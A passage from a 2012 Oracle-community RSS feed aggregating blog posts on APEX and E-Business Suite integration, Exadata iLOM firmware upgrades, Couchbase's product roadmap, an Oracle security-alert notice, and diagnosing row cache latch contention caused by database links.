align=&quot;center&quot;&gt;X&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;2. APIs&lt;/b&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;3. OITs (Open Interface Tables)&lt;/b&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;4. Webservices (incl. BPEL/SOA)&lt;/b&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;X&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;There are other ways to integrate or interface with EBS e.g. through EDI (Electronic Data Interchange) and EAI (Enterprise Application Integration), but from an APEX perspective the above four seemed to me the most interesting ones to explore further. In my next posts I will dig into integrating APEX and EBS with the above techniques.&lt;br /&gt;&lt;br /&gt;References to interesting readings:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://irep.oracle.com/index.html&quot; target=&quot;_blank&quot;&gt;Oracle Integration Repository&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://docs.oracle.com/cd/B53825_08/current/html/docset.html&quot; target=&quot;_blank&quot;&gt;Oracle Release 12.1 Documentation Library&lt;/a&gt; (see Integration)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.oracleappshub.com/&quot; target=&quot;_blank&quot;&gt;Oracle Apps Epicenter Blog&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Previous related posts:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://dgielis.blogspot.com/2012/01/e-business-suite-and-apex-installation.html&quot; target=&quot;_blank&quot;&gt;E-Business Suite and APEX installation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://dgielis.blogspot.com/2012/01/apex-and-e-business-suite-integration.html&quot; target=&quot;_blank&quot;&gt;APEX and E-Business Suite integration&lt;/a&gt;&amp;nbsp;(OBUG event)&lt;/li&gt;&lt;/ul&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/21122514-8008676646900944804?l=dgielis.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 12:41:02 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18191 at http://www.ora600.be</guid>
</item>
<item>
 <title>Google Connect is dead, long live the Google+ badge…</title>
 <link>http://www.ora600.be/news/google-connect-dead-long-live-google-badge%E2%80%A6</link>
 <description>&lt;p&gt;The Google Friend Connect badge I&amp;#8217;ve been displaying on my website &lt;a href=&quot;http://www.oracle-base.com&quot;&gt;homepage&lt;/a&gt; and this blog is no more. Google have canned that widget.  Instead it&amp;#8217;s been replaced by a Google+ badge. Unfortunately, the G+ badges currently only support Google+ pages, so I can&amp;#8217;t connect it to my &lt;a href=&quot;https://plus.google.com/106025410838353244591/&quot;&gt;regular G+ profile&lt;/a&gt;, only the &lt;a href=&quot;https://plus.google.com/102413566598214730526/&quot;&gt;ORACLE-BASE.com G+ page&lt;/a&gt;. Not ideal, but that&amp;#8217;s the way it goes. &lt;img src=&quot;http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;p&gt;Currently, the G+ badge options are not particularly WordPress widget friendly. Even the small option is a bit wider than the width of the sidebar on my blog theme.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m not planning on double-posting, so feel free to connect to both profiles if you like. You won&amp;#8217;t get everything twice. For the time being, my &lt;a href=&quot;https://plus.google.com/106025410838353244591/&quot;&gt;regular G+ profile&lt;/a&gt; is what I&amp;#8217;ll be using and the &lt;a href=&quot;https://plus.google.com/102413566598214730526/&quot;&gt;ORACLE-BASE.com G+ page&lt;/a&gt; is really only present to support the badge for those people who like to show the site some love. &lt;img src=&quot;http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;p&gt;Cheers&lt;/p&gt;
&lt;p&gt;Tim&amp;#8230;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/97EMoz5uT2Nn7geP0TOl6A7KTGg/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/97EMoz5uT2Nn7geP0TOl6A7KTGg/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/97EMoz5uT2Nn7geP0TOl6A7KTGg/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/97EMoz5uT2Nn7geP0TOl6A7KTGg/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/TheOracleBaseBlog/~4/0XUh7ZNX23E&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 11:56:52 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18193 at http://www.ora600.be</guid>
</item>
<item>
 <title>Upgrading/Downgrading Exadata iLOM firmware</title>
 <link>http://www.ora600.be/news/upgradingdowngrading-exadata-ilom-firmware</link>
 <description>&lt;p&gt;This post is not really Exadata specific, really it applies to any use of the Sun X4170 series of hardwre. And it definitely seems a &lt;em&gt;long&lt;/em&gt; way from being a traditional DBA task. As I&amp;#8217;ve had to perform this task a number of times recently I thought I&amp;#8217;d document it here.&lt;/p&gt;
&lt;p&gt;There are actually a number of ways of doing it, but finding and navigating the &lt;a href=&quot;http://docs.oracle.com/cd/E19860-01/index.html&quot;&gt;documentation&lt;/a&gt; can be challenging. The way I have performed and iLOM upgrade (or downgrade) has been to use the web interface. It can be done via the command line, but the web interface has worked well for me. &lt;/p&gt;
&lt;p&gt;The software for the iLOM can be found in the software distribution, but you have to do some digging as it is contained within the dbw.tbz tar ball, which itself is found in the image_version.tbz file which is under the db_patch_version directory. What you need is something of the form:&lt;/p&gt;
&lt;p&gt;
[root@db01] tar xvf 11.2.2.4.2.111221.tbz opt/oracle.cellos/iso/cellbits/dbfw.tbz
 
[root@db01] tar xvf dbfw.tbz ActualFirmwareFiles/ILOM-3_0_9_19_e_r66106-Sun_Fire_X4170_X4270_X4275.pkg

&lt;/p&gt;
&lt;p&gt;This extracts just your iLOM pkg file.&lt;/p&gt;
&lt;p&gt;So with your .pkg to hand, fire your web browser at the iLOM you want to upgrade and then choose Maintenance:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://jarneil.files.wordpress.com/2012/02/ilom_upgrade.jpg&quot;&gt;&lt;img src=&quot;http://jarneil.files.wordpress.com/2012/02/ilom_upgrade.jpg?w=600&amp;amp;h=263&quot; alt=&quot;&quot; title=&quot;ilom_upgrade&quot; width=&quot;600&quot; height=&quot;263&quot; class=&quot;aligncenter size-full wp-image-2012&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Obviously you click the upgrade Firmware Upgrade tab and then the Enter Upgrade Mode:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://jarneil.files.wordpress.com/2012/02/ilom_firm1.jpg&quot;&gt;&lt;img src=&quot;http://jarneil.files.wordpress.com/2012/02/ilom_firm1.jpg?w=600&amp;amp;h=186&quot; alt=&quot;&quot; title=&quot;ilom_firm&quot; width=&quot;600&quot; height=&quot;186&quot; class=&quot;aligncenter size-full wp-image-2016&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You now choose your iLOM pkg file and press the Upload button. This takes you to the following type of screen:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://jarneil.files.wordpress.com/2012/02/firm_upgrade2.jpg&quot;&gt;&lt;img src=&quot;http://jarneil.files.wordpress.com/2012/02/firm_upgrade2.jpg?w=600&amp;amp;h=198&quot; alt=&quot;&quot; title=&quot;firm_upgrade2&quot; width=&quot;600&quot; height=&quot;198&quot; class=&quot;aligncenter size-full wp-image-2023&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Where you can see you current version and what version you are going to upgrade/downgrade to. Once you hit the Start Upgrade button You are taken to a screen that shows the progress of the loading of the new firmware. &lt;/p&gt;
&lt;p&gt;All very straightforward. &lt;/p&gt;
&lt;p&gt;However, Oracle advise to follow MOS: 1327022.1 which has the following command line steps:&lt;/p&gt;
&lt;p&gt;Check the pkg file is the version you want:&lt;/p&gt;
&lt;p&gt;
# cd /opt/oracle.cellos/iso/cellbits 
# tar -tf dbfw.tbz
&lt;/p&gt;
&lt;p&gt;Now Check your current Firmware version:&lt;/p&gt;
&lt;p&gt;
# /opt/oracle.cellos/CheckHWnFWProfile -d 

[SystemModel] 
 SUN FIRE X4170 SERVER 
[BIOSVendor] 
 American Megatrends Inc. 
[BIOSVersion] 
 07060232 
[BIOSDate] 
 07/25/2011 
[ProcessorInformation] 
 Cores:16 
 Intel(R) Xeon(R) E5540 2.53GHz 
[ILOMVersion] 
 3.0.9.19.e r66106 
[PhysicalMemoryGB] 
 72 
[DiskControllerPCIeSlotNumber] 
 PCI-E Slot 0 
[DiskControllerModel] 
 LSI MegaRAID SAS 9261-8i 
[DiskControllerFirmwareRevision] 
 12.12.0-0048 
[InfinibandHCAPCIeSlotNumber] 
 PCI-E Slot 2 
[InfinibandHCAPCIeSlotWidth] 
 x8 
[InfinibandHCADeviceID] 
 26428 
[InfinibandHCAChipRevision] 
 A0 
[InfinibandHCAImageType] 
 ConnectX 
[InfinibandHCAFirmwareVersion] 
 2.7.0 
[SASBackplaneFirmwareVersion] 
 NotApplicable 
[DiskControllerPCIeSlotWidth] 
 x8 
[InfinibandHCAHardwareRev] 
 50 
[LightsOutFirmwareVersion] 
 Firmware Revision : 3.0 
[Powersupplies] 
 PS0 and PS1 ok 
[Enclosure:Slot:DiskType:DiskMake:DiskModel:MinFwVersion] 
 ALL:ALL SAS HITACHI H103014SCSUN146G A2A8
&lt;/p&gt;
&lt;p&gt;The above output is from a V2 running 11.2.2.4.2.&lt;/p&gt;
&lt;p&gt;Finally you can upgrade the firmware with the following:&lt;/p&gt;
&lt;p&gt;
# /opt/oracle.cellos/CheckHWnFWProfile -U /opt/oracle.cellos/iso/cellbits 
&lt;/p&gt;
&lt;p&gt;After this is complete, check your version again. The iLOM upgrades seem straightforward and in isolation I&amp;#8217;ve not encountered any issues with them. However during upgrades the iLOM is also upgraded automatically, and I have encountered issues with this &amp;#8211; but that is for another blog entry!&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/jarneil.wordpress.com/2011/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/jarneil.wordpress.com/2011/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=jarneil.wordpress.com&amp;amp;blog=1749502&amp;amp;post=2011&amp;amp;subd=jarneil&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 11:55:52 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18192 at http://www.ora600.be</guid>
</item>
<item>
 <title>Couchbase update</title>
 <link>http://www.ora600.be/news/couchbase-update</link>
 <description>&lt;p&gt;I checked in with James Phillips for a Couchbase update, and I understand better what&amp;#8217;s going on. In particular:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give or take minor tweaks, what I wrote in my &lt;a href=&quot;http://www.dbms2.com/2011/08/13/couchbase-business-update/&quot;&gt;August, 2010 Couchbase updates&lt;/a&gt; still applies.&lt;/li&gt;
&lt;li&gt;Couchbase now and for the foreseeable future has one product line, called Couchbase.&lt;/li&gt;
&lt;li&gt;Couchbase 2.0, the first version of Couchbase (the product) to use CouchDB for persistence, has slipped &amp;#8230;&lt;/li&gt;
&lt;li&gt;&amp;#8230; because more parts of CouchDB had to be rewritten for performance than Couchbase (the company) had hoped.&lt;/li&gt;
&lt;li&gt;Think mid-year or so for the release of Couchbase 2.0, hopefully sooner.&lt;/li&gt;
&lt;li&gt;In connection with the need to rewrite parts of CouchDB, Couchbase has:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dbms2.com/2012/01/18/notes-from-the-couch-blogs/&quot;&gt;Gotten out of the single-server CouchDB business&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Donated its proprietary single-sever CouchDB intellectual property to the Apache Foundation.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The 150ish new customers in 2011 Couchbase brags about are real, subscription customers.&lt;/li&gt;
&lt;li&gt;Couchbase has 60ish people, headed to &amp;#62;100 over the next few months.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;If you previously heard the brand names Couchbase Single or Couchbase Mobile, pay no further attention to them. Couchbase Single was CouchDB; Couchbase Mobile is part of Couchbase&amp;#8217;s feature set.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The current product is Couchbase 1.8, which is a whole lot like what previously was called Membase. New features in Couchbase 1.8 (versus prior versions of Membase) were concentrated in client libraries/SDK (Software Development Kit). Not coincidentally, Couchbase has hired developer evangelists who are in charge of making Couchbase play nicely with various specific languages (e.g. C/C++)&lt;/p&gt;
&lt;p&gt;Drilling down further into the CouchDB part of the story:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Couchbase 2.0 will replace Couchbase 1.8/Membase&amp;#8217;s SQLite back-end with CouchDB.&lt;/li&gt;
&lt;li&gt;Parts of CouchDB that do things like read, write, or compact data have been rewritten from Erlang to C.&lt;/li&gt;
&lt;li&gt;Couchbase still uses other Erlang parts of Apache CouchDB, and would be delighted if the community were to usefully enhance them.&lt;/li&gt;
&lt;li&gt;Couchbase&amp;#8217;s heavy contributions to development of open source CouchDB will, for the most part, continue.&lt;/li&gt;
&lt;li&gt;CouchDB stuff donated to the Apache Foundation includes:
&lt;ul&gt;
&lt;li&gt;Documentation&lt;/li&gt;
&lt;li&gt;Packaging&lt;/li&gt;
&lt;li&gt;Performance enhancements&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There&amp;#8217;s at least one Couchbase user with &amp;#62;1000 nodes (at a guess, &lt;a href=&quot;http://www.dbms2.com/2011/09/05/zynga-linkedin-data-warehous/&quot;&gt;Zynga&lt;/a&gt;).  More typical might be 20 nodes or less. This led me to wonder how much data one puts on a Couchbase node anyway. The answer turns out to vary widely, in that you want your working set to be in RAM, and whether that&amp;#8217;s your entire database or just a slice of it depends on the nature of the application.&lt;/p&gt;
&lt;p&gt;James echoed a trend I&amp;#8217;ve heard elsewhere as well, in which products one things of as being internet-specific are also sold in a few cases to conventional enterprises for &amp;#8212; you guessed it! &amp;#8212; their internet operations. I also asked him about competition, and he asserted:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MongoDB is the big competition. He believes Couchbase has an excellent win rate vs. 10gen for actual paying accounts.&lt;/li&gt;
&lt;li&gt;DataStax/Cassandra wins over Couchbase only when multi-data-center capability is important. Naturally, multi-data-center capability is planned for Couchbase. (Indeed, that&amp;#8217;s one of the benefits of swapping in CouchDB at the back end.)&lt;/li&gt;
&lt;li&gt;Redis has &amp;#8220;dropped off the radar&amp;#8221;, presumably because there&amp;#8217;s no particular persistence strategy for it.&lt;/li&gt;
&lt;li&gt;Riak doesn&amp;#8217;t show up much.&lt;/li&gt;
&lt;/ul&gt;
&lt;img src=&quot;http://feeds.feedburner.com/~r/dbms2/feed/~4/uRXjJFh1Jqc&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 05:00:24 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18190 at http://www.ora600.be</guid>
</item>
<item>
 <title>Oracle Priority Service Infogram for 01-FEB-2012</title>
 <link>http://www.ora600.be/news/oracle-priority-service-infogram-01-feb-2012</link>
 <description>&lt;b&gt;Important Security Announcement&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Oracle Security Alert for CVE-2011-5035 was released on January 31st, 2012.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Oracle strongly recommends applying Security Alert fixes as soon as possible.&lt;br /&gt;&lt;br /&gt;The Security Alert Advisory is the starting point for relevant information. It includes the list of products affected, a summary of the security vulnerability, and a pointer to obtain the latest patches. Supported products that are not listed in the &quot;Affected Products and Versions&quot; section of the advisory do not require new patches to be applied.&lt;br /&gt;&lt;br /&gt;Also, it is essential to review the Security Alert supporting documentation referenced in the Advisory before applying patches, as this is where you can find important pertinent information.&lt;br /&gt;&lt;br /&gt;The Advisory is available at the following location:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.oracle.com/technetwork/topics/security/alerts-086861.html&quot;&gt;Oracle Critical Patch Updates and Security Alerts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.oracle.com/technetwork/topics/security/alert-cve-2011-5035-1506603.html&quot;&gt;Oracle Security Alert CVE-2011-5035&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&lt;b&gt;MySQL&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;MySQL storage engines confusing you? You&#039;re probably not alone. Hopefully this spot the &lt;i&gt;MySQL team&lt;/i&gt; tweeted from the documentation will clear up the fog between the NDB and InnoDB engines: &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/mysql-cluster-ndb-innodb-engines.html&quot;&gt;16.1.5.1. Differences Between the NDB and InnoDB Storage Engines.&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Migrations&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;No, not geese, systems. The &lt;i&gt;Reckless Logic&lt;/i&gt; blog points out a posting at &lt;i&gt;Technet &lt;/i&gt;on &lt;a href=&quot;http://www.recklesslogic.com/blog/2012/01/31/how-dell-migrated-1700-servers-to-oracle-linux/&quot;&gt;How Dell Migrated 1700 Servers to Oracle Linux.&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Performance&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Jonathan Lewis shows us how evaluating bug documentation can produce more than just keeping up with bugs in this posting on &lt;a href=&quot;http://jonathanlewis.wordpress.com/2012/02/01/subquery-factoring/&quot;&gt;Subquery Factoring&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;RAC&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The &lt;i&gt;Oracle Instructor&lt;/i&gt; looks into how to &lt;a href=&quot;http://uhesse.wordpress.com/2012/02/01/monitor-rac-io-with-gviostat_function/&quot;&gt;Monitor RAC I/O with gv$iostat_function&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;RDBMS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The &lt;i&gt;AskDba.org Weblog&lt;/i&gt; promises to keep adding to this posting as they discover new problems, which makes it worth following on your RSS reader. They discuss &lt;a href=&quot;http://askdba.org/weblog/2012/02/11gr2listener-startup-issues/%20&quot;&gt;11gR2:Listener Startup Issues&lt;/a&gt;, giving us the first three problem causers to check for if you have problems bringing up the listener.&lt;br /&gt;The &lt;i&gt;Rulegen&lt;/i&gt; blog relates some interesting investigations they made on &lt;a href=&quot;http://rulegen.blogspot.com/2012/01/statement-level-constraint-validation.html&quot;&gt;Statement-level constraint validation: MERGE + MTI&lt;/a&gt; while working on their product. &lt;br /&gt;&lt;b&gt;EMC and Oracle &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Kevin Closson&#039;s Blog: Platforms, Databases and Storage has a very good resource to share: &lt;a href=&quot;http://kevinclosson.wordpress.com/2012/01/30/emc-oracle-related-reading-material-of-interest/&quot;&gt;EMC Oracle-Related Reading Material of Interest.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/6958053817968894764-4199008377608769758?l=oracleinfogram.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 03:06:00 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18188 at http://www.ora600.be</guid>
</item>
<item>
 <title>Latch: row cache objects, session_cached_cursors and a database link</title>
 <link>http://www.ora600.be/news/latch-row-cache-objects-sessioncachedcursors-and-database-link</link>
 <description>What could possibly be common about the above things?&lt;br /&gt;
&lt;br /&gt;
Sometime ago I was involved in tuning a large scale production system which experienced quite a lot of latch contention. In fact the contention was bad enough as to render the entire system unusable during peak hours.&lt;br /&gt;
&lt;br /&gt;
A typical AWR report during times with moderate workload looked like this:&lt;br /&gt;
&lt;br /&gt;
Event                      Waits           Time(s) Avg wait (ms)   % DB time  Wait Class
DB CPU                     21,805          36.95  
latch: row cache objects   14,524,462      11,552  1               19.57      Concurrency
db file sequential read    2,697,778       8,988   3               15.23      User I/O
gc current block 3-way     4,202,356       3,599   1               6.10       Cluster
gc current block 2-way     3,670,293       2,330   1               3.95       Cluster&lt;br /&gt;
(in reality it was a 7-node RAC cluster but it is not really relevant to our subject).&lt;br /&gt;
&lt;br /&gt;
It is not hard to spot &lt;i&gt;latch: row cache objects&lt;/i&gt; on a second place consuming almost 20% of DB time. This event was rapidly escalating whether load increased quickly bringing the entire cluster into unusable state as far as any front-end application were concerned. The total number of gets during an hour (the interval with which this particular AWR report had been made) totaled 1,281,167,103 which averages a whopping 355,879 gets per second!&lt;br /&gt;
&lt;br /&gt;
The first step was to take a look at the Dictionary Cache statistics and see if there were any obvious deviations:&lt;br /&gt;
Cache                   Get Requests    Pct Miss
dc_awr_control          72              9.72
dc_database_links       124,452         0.05
dc_files                46,900          17.14
dc_global_oids          555,599         0.07
dc_histogram_data       8,962,576       1.01
dc_histogram_defs       412,885,094     0.02
dc_object_grants        52,475          1.13
dc_objects              2,860,222       0.64
dc_profiles             61,189          0.01
dc_rollback_segments    392,885         0.00
dc_segments             657,653         7.72
dc_sequences            1,324           67.67
dc_table_scns           3,206           3.31
dc_tablespaces          1,253,322       0.06
dc_users                5,475,824       0.02
global database name    65,092          0.01
kqlsubheap_object       10,910          0.46
outstanding_alerts      721             95.98&lt;br /&gt;
&lt;i&gt;dc_histogram_defs&lt;/i&gt; really stands out but so far provides no direct clues. Though the entire dictionary cache seems to be quite busy. Let&#039;s take a look at instance activity statistics:&lt;br /&gt;
&amp;nbsp;                 Per Second   Per Transaction  Per Exec        Per Call
DB Time(s):       16.4         0.5              0.00            0.00
DB CPU(s):        6.1          0.2              0.00            0.00
Redo size:        87,543.5     2,398.6
Logical reads:    336,555.7    9,221.2
Block changes:    449.3        12.3
Physical reads:   1,018.3      27.9
Physical writes:  36.8         1.0
User calls:       41,250.4     1,130.2
Parses:           6,264.4      171.6
Hard parses:      27.1         0.7
W/A MB processed: 33,769,202.4 925,233.0
Logons:           18.3         0.5
Executes:         14,230.5     389.9
Rollbacks:        3.4          0.1
Transactions:     36.5&lt;br /&gt;
A couple of things to notice:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;The number of executions is not that high (at least for an IBM box with 56 CPU cores, that is).&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Execute to Parse&lt;/i&gt; ratio is not particularly good nor bad (6,264.4 parses per second compared to 14,230.5 executions).&lt;/li&gt;
&lt;li&gt;None of the above seems to be enough to justify 355,879 &lt;i&gt;latch: row cache objects&lt;/i&gt; gets per second, even when you consider 27.1 hard parses/sec.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
There had to be more going on. Looking at the &lt;i&gt;SQL ordered by Parse Calls&lt;/i&gt; section of the report revealed that all the top parsing queries were coming from a database link. Which prompted me to ask additional questions...&lt;br /&gt;
&lt;br /&gt;
It turned out that the system had a somewhat weird architecture. A 7-node RAC cluster served as a back end to a numerous front-end Oracle databases which were essentially acting as PL/SQL-engines, accessing all the data through the database link while dong all the processing. The architectural feasibility of such solution is debatable (to say the least) but let&#039;s not steer away from the main topic of our discussion.&lt;br /&gt;
&lt;br /&gt;
I geared to find out whether there was some special case which could cause &lt;i&gt;latch: row cache objects&lt;/i&gt; to shoot through the roof when we deal with a lot of queries executed through a database link. After a number of experiments I eventually found a cause which explains the title of this blog post.&lt;br /&gt;
&lt;br /&gt;
Take a look at the following example:&lt;br /&gt;
&lt;br /&gt;
SQL&amp;gt; declare
  2   l_gets number;
  3  begin
  4   select gets into l_gets from v$latch@dblink where name=&#039;row cache objects&#039;;
  5  
  6   for i in 1 .. 1000
  7   loop
  8    for cur in (select null from dual@dblink) loop null; end loop;
  9   end loop;
 10  
 11   select sum(gets)-l_gets into l_gets from v$latch@dblink where name=&#039;row cache objects&#039;;
 12   dbms_output.put_line(to_char(l_gets));
 13  end;
 14  /
 
79
 
PL/SQL procedure successfully completed&lt;br /&gt;
Accessing a remote table 1000 times through a database link only caused 79 &lt;i&gt;row cache objects&lt;/i&gt; gets on the &lt;i&gt;destination&lt;/i&gt; database. However, exactly the same example can produce quite a different result:&lt;br /&gt;
&lt;br /&gt;
SQL&amp;gt; alter session set session_cached_cursors=0;
 
Session altered
 
SQL&amp;gt; 
SQL&amp;gt; declare
  2   l_gets number;
  3  begin
  4   select gets into l_gets from v$latch@dblink where name=&#039;row cache objects&#039;;
  5  
  6   for i in 1 .. 1000
  7   loop
  8    for cur in (select null from dual@dblink) loop null; end loop;
  9   end loop;
 10  
 11   select sum(gets)-l_gets into l_gets from v$latch@dblink where name=&#039;row cache objects&#039;;
 12   dbms_output.put_line(to_char(l_gets));
 13  end;
 14  /
 
3082
 
PL/SQL procedure successfully completed&lt;br /&gt;
Now we jumped from 79 gets to 3082 which is a 39x increase! What&#039;s really astonishing is the fact that it&#039;s a cursor cache miss on the &lt;i&gt;source&lt;/i&gt; which wreaks havoc on the &lt;i&gt;destination&lt;/i&gt;. Evidently, the solution to the problem had nothing to do with the database where the problem was observed. The &quot;PL/SQL-databases&quot; had an insufficient setting for &lt;i&gt;session_cached_cursors&lt;/i&gt; and once that was corrected the issue disappeared.&lt;br /&gt;
&lt;br /&gt;
It is somewhat ironic that that problem would have never appears had the data and PL/SQL be allowed to be kept in the same database (where they belong).&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/15440695-4803016963357368436?l=afatkulin.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 02:08:53 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18189 at http://www.ora600.be</guid>
</item>
<item>
 <title>Feburary Events- IOUG regional events, TDWI, RSA and more</title>
 <link>http://www.ora600.be/news/feburary-events-ioug-regional-events-tdwi-rsa-and-more</link>
 <description>
 
  Normal
  0
  
  
  
  
  
  
  false
  false
  false
  
  EN-US
  X-NONE
  X-NONE
  
   
   
   
   
   
   
   
   
   
   
   
  
  MicrosoftInternetExplorer4
  
   
   
   
   
   
   
